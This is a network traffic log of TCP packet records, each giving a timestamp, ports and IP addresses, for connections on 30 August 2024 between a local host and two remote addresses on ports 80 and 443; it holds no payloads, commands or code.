Aug 30, 2024 06:17:04.394742966 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.394742966 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.394747019 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394758940 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394769907 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394771099 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.394778967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394792080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394793034 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.394802094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.394804001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.394840956 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.394840956 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.395072937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395276070 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395284891 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395292997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395303965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395313978 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395323038 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.395323038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395332098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395340919 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395350933 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.395350933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395350933 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.395361900 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395370960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395380974 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395390034 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395390034 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.395399094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395406961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395414114 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.395414114 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.395421982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395426035 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.395431995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395442009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395451069 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.395452023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395459890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395467997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395478010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395488977 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.395488977 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.395490885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395500898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395513058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395513058 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.395513058 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.395522118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395533085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395543098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395550966 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.395553112 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395561934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395571947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395572901 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.395581961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395591021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395593882 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.395593882 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.395601034 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395611048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395618916 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395627975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395641088 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.395641088 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.395669937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.395836115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395847082 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395853996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395864964 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395932913 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.395951986 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395961046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395970106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395982027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395991087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.395999908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.396003962 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.396003962 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.396008968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.396019936 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.396029949 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.396049023 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.396049023 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.396085024 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.396251917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.396265984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.396275043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.396285057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.396295071 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.396303892 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.396313906 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.396313906 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.396315098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.396325111 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.396341085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.396346092 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.396346092 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.396351099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.396361113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.396364927 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.396379948 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.396390915 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.396424055 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.396424055 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.396450043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.396460056 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.396469116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.396476984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.396502018 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.396512032 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.406516075 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.406558990 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.406563997 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.406573057 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.406606913 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.406636000 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.406645060 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.406655073 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.406663895 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.406688929 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.406697989 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.406780958 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.406790972 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.406799078 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.406807899 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.406817913 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.406824112 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.406829119 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.406837940 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.406841993 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.406847954 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.406856060 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.406863928 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.406883001 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.406896114 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.406912088 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.406948090 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.407027006 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.407040119 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.407049894 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.407058954 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.407073975 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.407088041 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.409504890 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.409513950 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.409522057 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.409533978 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.409542084 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.409552097 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.409565926 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.409585953 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.409637928 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.409646034 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.409655094 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.409663916 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.409673929 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.409692049 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.409704924 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.409719944 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.409773111 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.409773111 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.409784079 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.409813881 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.409833908 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.409842968 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.409852028 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.409862041 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.409878016 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.409890890 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.409943104 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.409953117 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.409962893 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.409971952 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.409982920 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.409993887 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410011053 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410012007 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410020113 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410027981 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410037994 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410053968 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410068035 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410162926 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410173893 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410182953 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410192966 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410202980 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410204887 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410212994 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410223007 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410229921 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410233021 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410240889 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410260916 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410274982 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410305023 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410315037 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410351992 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410356045 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410362005 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410386086 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410394907 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410397053 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410403013 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410429001 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410433054 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410439968 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410446882 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410449982 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410456896 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410459995 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410485029 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410495996 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410589933 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410599947 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410608053 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410615921 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410640001 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410654068 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410657883 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410664082 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410672903 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410682917 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410691977 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410696030 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410713911 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410727978 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410875082 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410883904 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410893917 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410902977 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410912991 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410913944 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410922050 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410931110 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410932064 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410943985 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410945892 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410955906 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410960913 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410967112 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.410976887 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.410995960 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.411005974 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.411005974 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.411015987 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.411052942 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.411245108 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.411254883 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.411263943 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.411274910 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.411284924 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.411292076 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.411295891 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.411303997 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.411308050 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.411314964 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.411325932 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.411326885 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.411334991 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.411345959 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.411345959 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.411354065 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.411362886 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.411370993 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.411381960 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.411386967 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.411396027 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.411398888 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.411416054 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.411432981 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.411448002 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.411458015 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.411501884 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.411518097 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.411528111 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.411540985 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.411550045 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.411559105 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.411560059 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.411578894 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.411593914 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.445242882 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.445252895 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.445261955 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.445293903 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.445317030 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.445475101 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.445485115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.445493937 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.445502996 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.445519924 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.445547104 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.446171045 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.446222067 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.446234941 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.446269989 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.446280003 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.446361065 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.446366072 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.446402073 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.446438074 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.446479082 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.446482897 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.446494102 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.446527958 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.446611881 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.446660995 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.447536945 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.447597980 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.447700024 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.447741985 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.447761059 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.447766066 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.447777033 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.447804928 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.448172092 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.448230982 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.448270082 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.448317051 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.448337078 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.448389053 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.449223042 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.449256897 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.449275970 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.449285030 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.449296951 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.449320078 CEST	49741	443	192.168.2.4	162.159.130.233
